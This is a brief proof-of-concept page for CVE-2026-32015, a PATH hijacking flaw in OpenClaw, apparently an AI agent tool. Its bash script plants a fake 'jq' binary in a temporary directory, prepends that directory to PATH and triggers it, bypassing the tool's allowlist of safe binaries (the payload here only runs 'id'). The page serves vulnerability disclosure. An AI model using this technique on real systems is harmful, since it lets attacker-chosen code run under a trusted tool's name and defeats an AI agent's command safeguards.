CVE-2026-32015 OpenClaw路径劫持漏洞

#!/bin/bash # PoC for CVE-2026-32015: OpenClaw Path Hijacking # This script simulates the vulnerability by placing a malicious binary in PATH # 1. Create a directory to host the malicious binary mkdir -p /tmp/exploit_dir # 2. Create a malicious binary named 'jq' (allowlisted tool) echo '#!/bin/bash' > /tmp/exploit_dir/jq echo 'echo "[+] Exploit Executed: Hijacked jq binary"' >> /tmp/exploit_dir/jq echo 'id' >> /tmp/exploit_dir/jq chmod +x /tmp/exploit_dir/jq # 3. Hijack the PATH variable export PATH=/tmp/exploit_dir:$PATH # 4. Simulate the application calling the allowlisted tool # In a real scenario, this would be triggered by OpenClaw's tools.exec.safeBins jq echo "[+] PoC finished. Check output above."